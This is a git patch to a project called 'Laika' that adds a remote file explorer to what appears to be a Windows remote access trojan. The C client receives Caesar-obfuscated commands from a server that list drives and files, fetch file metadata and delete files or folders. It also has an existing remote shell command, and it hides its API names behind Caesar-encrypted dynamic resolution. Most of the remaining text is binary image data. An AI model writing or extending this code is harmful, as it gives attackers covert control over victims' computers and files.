From cb5ec53bd284e352d1f026c09c9b9916fe09f86f Mon Sep 17 00:00:00 2001 From: ALittlePatate Date: Thu, 16 Feb 2023 20:16:30 +0100 Subject: [PATCH] ajout du file explorer MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit reste à fix le get_file_info, ajouter le download/upload/delete --- Laika/file_explorer.c | 85 +++++++------- Laika/file_explorer.h | 8 +- Laika/main.c | 160 +++++++++++++++++++++++++++ Laika/resolve_apis.c | 4 + Laika/resolve_apis.h | 8 ++ Server/FileExplorer/images/bg.gif | Bin 0 -> 1146 bytes Server/FileExplorer/images/spike.jpg | Bin 0 -> 16064 bytes Server/FileExplorer/index.html | 89 +++++++++++++++ Server/FileExplorer/style.css | 95 ++++++++++++++++ Server/Server.py | 122 +++++++++++++++++++- 10 files changed, 529 insertions(+), 42 deletions(-) create mode 100644 Server/FileExplorer/images/bg.gif create mode 100644 Server/FileExplorer/images/spike.jpg create mode 100644 Server/FileExplorer/index.html create mode 100644 Server/FileExplorer/style.css diff --git a/Laika/file_explorer.c b/Laika/file_explorer.c index 1db9db1..15880b4 100644 --- a/Laika/file_explorer.c +++ b/Laika/file_explorer.c @@ -1,4 +1,5 @@ #include "file_explorer.h" +#include "utils.h" int delete_file(char* path) { return Api.remove(path); @@ -12,7 +13,22 @@ int get_object_info(char* path, struct stat* fileinfo) { return Api.stat(path, fileinfo); } -char** get_file_list(const char* dirPath, int* numFiles) { +int get_drives_list(char* buf) { + DWORD drives = Api.GetLogicalDrives(); // get a bitmask of available drives + int count = 0; // number of drives found so far + + for (int i = 0; i < MAX_DRIVES; i++) { + if (drives & (1 << i)) { // check if drive letter is present in bitmask + buf[count++] = 'A' + i; // add drive letter to buffer + } + } + + buf[count++] = '\0'; // add null terminator to buffer + + return count; // return number of drives found +} + +char* get_file_list(const char* dirPath, int* numFiles) { WIN32_FIND_DATA findData; HANDLE hFind; @@ -26,66 +42,61 @@ char** get_file_list(const char* dirPath, int* numFiles) { return NULL; } - // Allocate a dynamic array to store the file names - int maxFiles = 100; + // Allocate a dynamic array to store the file/folder names + int maxFiles = BUFFER_SIZE; char** fileList = (char**)Api.malloc(maxFiles * sizeof(char*)); int numFound = 0; do { - if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { - continue; // Ignore directories - } - - // Convert the file name to a char string + // Convert the file/folder name to a char string WCHAR wFileName[MAX_PATH]; wcscpy(wFileName, findData.cFileName); char fileName[MAX_PATH]; Api.wcstombs(fileName, wFileName, MAX_PATH); - // Add the file name to the array + // Ignore the "." and ".." folders + if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) { + continue; + } + + // Add the file/folder name to the array if (numFound >= maxFiles) { maxFiles *= 2; fileList = (char**)Api.realloc(fileList, maxFiles * sizeof(char*)); } fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1); - Api.strcpy(fileList[numFound], fileName); + Api.strcpy(fileList[numFound], CAESAR(fileName)); numFound++; } while (FindNextFile(hFind, &findData) != 0); Api.FindClose(hFind); - // Resize the array to the actual number of files found - fileList = (char**)Api.realloc(fileList, numFound * sizeof(char*)); + // Allocate a buffer to store the concatenated file/folder names separated by "/" + int bufferSize = 0; + for (int i = 0; i < numFound; i++) { + bufferSize += strlen(fileList[i]) + 1; // add 1 for the separator + } + char* fileNames = (char*)Api.malloc(bufferSize); + fileNames[0] = '\0'; - // Set the numFiles parameter to the number of files found + // Concatenate the file/folder names separated by "/" + for (int i = 0; i < numFound; i++) { + strcat(fileNames, fileList[i]); + if (i < numFound - 1) { + strcat(fileNames, "/"); + } + Api.free(fileList[i]); + } + + Api.free(fileList); + + // Set the numFiles parameter to the number of files/folders found *numFiles = numFound; - return fileList; - - /* - const char* dirPath = "C:\\Users\\UserName\\Documents\\ExampleDirectory"; // Replace with the path to the directory you want to list - - int numFiles; - char** fileList = listFiles(dirPath, &numFiles); - - if (fileList == NULL) { - printf("Error listing files\n"); - return 1; - } - - // Print the list of files - for (int i = 0; i < numFiles; i++) { - printf("%s\n", fileList[i]); - free(fileList[i]); - } - - // Free the array and its contents - free(fileList); - - return 0; - */ + return fileNames; } + void download_file() { } diff --git a/Laika/file_explorer.h b/Laika/file_explorer.h index 065d865..ed3bb03 100644 --- a/Laika/file_explorer.h +++ b/Laika/file_explorer.h @@ -7,12 +7,18 @@ #include #include "resolve_apis.h" +#define BUFFER_SIZE 4096 + +// Define the maximum number of drives that we can handle +#define MAX_DRIVES 26 + extern API Api; int delete_file(char* path); int delete_dir(char* path); int get_object_info(char* path, struct stat* fileinfo); -char** get_file_list(const char* dirPath, int* numFiles); +int get_drives_list(char* buf); +char* get_file_list(const char* dirPath, int* numFiles); void download_file(); void download_folder(); void upload_file(); \ No newline at end of file diff --git a/Laika/main.c b/Laika/main.c index e99fa64..161358b 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -183,6 +183,166 @@ retry: goto retry; } + if (Api.strncmp(server_reply, "ijqdknqj", strlen("ijqdknqj")) == 0) { //del_file + char* path = (char*)Api.malloc(MAX_PATH); + + //Receive a reply from the server + if (Api.recv(sock, path, MAX_PATH, 0) <= 0) + { + //recv failed + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + delete_file(path); + + if (Api.send(sock, "itsj", strlen("itsj"), 0) < 0) { //done + //send failed + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + Api.free(path); + } + + if (Api.strncmp(server_reply, "ijqdinw", strlen("ijqdinw")) == 0) { //del_dir + char* path = (char*)Api.malloc(MAX_PATH); + + //Receive a reply from the server + if (Api.recv(sock, path, MAX_PATH, 0) <= 0) + { + //recv failed + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + delete_dir(path); + + if (Api.send(sock, "itsj", strlen("itsj"), 0) < 0) { //done + //send failed + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + } + + if (Api.strncmp(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info + char* path = (char*)Api.malloc(MAX_PATH); + struct stat fileinfo; + + //Receive a reply from the server + if (Api.recv(sock, path, MAX_PATH, 0) <= 0) + { + //recv failed + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + int st = Api.stat(CAESAR_DECRYPT(path), &fileinfo); + if (st != 0) { + + if (Api.send(sock, CAESAR("N/N"), sizeof(CAESAR("N/N")), 0) < 0) { + //send failed + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + Api.free(path); + continue; + } + + time_t mtime = fileinfo.st_mtime; + struct tm* mtime_tm = Api._localtime64(&mtime); + char mtime_str[30]; + char sizeStr[20]; + Api.strftime(mtime_str, 30, CAESAR_DECRYPT("*^2*r2*i%*M?*R?*X"), mtime_tm); + + // Concatenate the file size and modified time strings separated by "/" + Api._snprintf(sizeStr, 20, "%lld", (long long)fileinfo.st_size); + int bufferSize = strlen(sizeStr) + 1 + strlen(mtime_str) + 1; // add 1 for the separator and the null terminator + char* fileInfoStr = (char*)Api.malloc(bufferSize); + Api._snprintf(fileInfoStr, bufferSize, "%s/%s", sizeStr, mtime_str); + + if (Api.send(sock, fileInfoStr, sizeof(fileInfoStr), 0) < 0) { + //send failed + Api.free(path); + Api.free(fileInfoStr); + Sleep_(Sleep_TIME); + goto retry; + } + + Api.free(fileInfoStr); + Api.free(path); + } + + if (Api.strncmp(server_reply, "ljydiwn{jx", strlen("ljydiwn{jx")) == 0) { //get_drives + char* drives = (char*)Api.malloc(MAX_PATH); + + get_drives_list(drives); + + if (Api.send(sock, drives, strlen(drives), 0) < 0) { + //send failed + Api.free(drives); + Sleep_(Sleep_TIME); + goto retry; + } + + Api.free(drives); + } + + if (Api.strncmp(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list + char* file_list = (char*)Api.malloc(BUFFER_SIZE); + char* path = (char*)Api.malloc(MAX_PATH); + + //Receive a reply from the server + if (Api.recv(sock, path, MAX_PATH, 0) <= 0) + { + //recv failed + Api.free(file_list); + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + int num_files; + file_list = get_file_list(CAESAR_DECRYPT(path), &num_files); + + if (file_list == NULL) { + Api.free(file_list); + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + + if (Api.send(sock, file_list, strlen(file_list), 0) < 0) { + //send failed + Api.free(file_list); + Api.free(path); + Sleep_(Sleep_TIME); + goto retry; + } + + Api.free(path); + } + + if (Api.strncmp(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file + + } + + if (Api.strncmp(server_reply, "it|sqtfidinw", strlen("it|sqtfidinw")) == 0) { //download_dir + + } + + if (Api.strncmp(server_reply, "zuqtfidknqj", strlen("zuqtfidknqj")) == 0) { //upload_file + + } + if (Api.strncmp(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell // Set the socket as standard output and error SECURITY_ATTRIBUTES sa; diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c index 8b25593..b507ea9 100644 --- a/Laika/resolve_apis.c +++ b/Laika/resolve_apis.c @@ -26,6 +26,7 @@ void InitApis() { Api.TerminateProcess = (TTerminateProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjUwthjxx")); Api.FreeLibrary = (TFreeLibrary)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KwjjQngwfw~")); Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj")); + Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx")); hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq")); if (!hMsvcrt) { @@ -43,6 +44,9 @@ void InitApis() { Api.sprintf = (Tsprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xuwnsyk")); Api.realloc = (Trealloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjfqqth")); Api.wcstombs = (Twcstombs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxytrgx")); + Api._localtime64 = (T_localtime64)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dqthfqynrj;9")); + Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj")); + Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk")); hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq")); if (!hWininet) { diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h index 035e869..b60fc33 100644 --- a/Laika/resolve_apis.h +++ b/Laika/resolve_apis.h @@ -28,6 +28,9 @@ typedef int(WINAPI* Tstat)(char const* const, struct stat* const); typedef int(WINAPI* Tsprintf)(char const*, char const* const, ...); typedef void*(WINAPI* Trealloc)(void*, size_t); typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t); +typedef struct tm* (WINAPI* T_localtime64)(__time64_t const*); +typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*); +typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...); typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); @@ -43,6 +46,7 @@ typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT); typedef BOOL(WINAPI* TFreeLibrary)(HMODULE); typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR); typedef BOOL(WINAPI* TFindClose)(HANDLE); +typedef DWORD(WINAPI* TGetLogicalDrives)(VOID); typedef struct ApiList { Tconnect connect; @@ -74,6 +78,7 @@ typedef struct ApiList { TFreeLibrary FreeLibrary; TGetProcAddress GetProcAddress; TFindClose FindClose; + TGetLogicalDrives GetLogicalDrives; Tmbstowcs mbstowcs; Twcstombs wcstombs; @@ -83,6 +88,9 @@ typedef struct ApiList { Tstat stat; Tsprintf sprintf; Trealloc realloc; + T_localtime64 _localtime64; + Tstrftime strftime; + T_snprintf _snprintf; } API; void InitApis(); diff --git a/Server/FileExplorer/images/bg.gif b/Server/FileExplorer/images/bg.gif new file mode 100644 index 0000000000000000000000000000000000000000..b7f51a5163a4120353e70679c89633371ef1d72f GIT binary patch literal 1146 zcmV-=1cm!YNk%v~VaNc;0K@~D4xSaDdO~G?4(FBqr*({Or+SDiTOTVITkq z1_})j5)~L4PZkV5bB&H?Y-5i=UXzw8Vr`e3oI_QeprMmUV2q-tr!J_gtX2}Ou(3uJ zvbDA^7`M8+r%v!o|kC5y#4%56jM$3(wMx2-DVF7Zec>3kU!R3l9+#7a1EI z*Xd8y>g`j}?(t8}^7Tc@_W3~+`u#8$Up)8|mSLbl6dSmhI=Bnn7B~zeelT-Opu{bT z7REw!(TW?0wQ_ZwLWbfOVoqrP%|WRSixyk2MoL-I#Fi?VMP$&hfkOumji*TA45G8f zfdT>o00^ufN`i%J z8Kl>@;m>q;D$=t^1hg-o`cqFLqf@f20w8!S zF1n$CqiiVPBb$~9#hk82p<%33bV%#1xVG|TuDr&xYp=itE9|hu7HjOW$R?}ovdlK? z?1;ZUEA57eb{8%G8W8?+EmgKoJHo8qjsUB-tx8L%w~Tr_>NS;)^yxK`_M;kFt*r%{ zTiGh(sJraaHYsrw(*HGEhlg;{=fRaiv<&>3C$^-Q@ zW(TR2KUB*j_9PE)fptA#52STIUJt~zK8FufxIKgW6FA`#?VV5F?$m9i6n!@`H{EKp M&E(rzSrY;PJ8)hN;{X5v literal 0 HcmV?d00001 diff --git a/Server/FileExplorer/images/spike.jpg b/Server/FileExplorer/images/spike.jpg new file mode 100644 index 0000000000000000000000000000000000000000..68e0a3f3581c9d8914d8be7fd80a355ce2ab59f4 GIT binary patch literal 16064 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 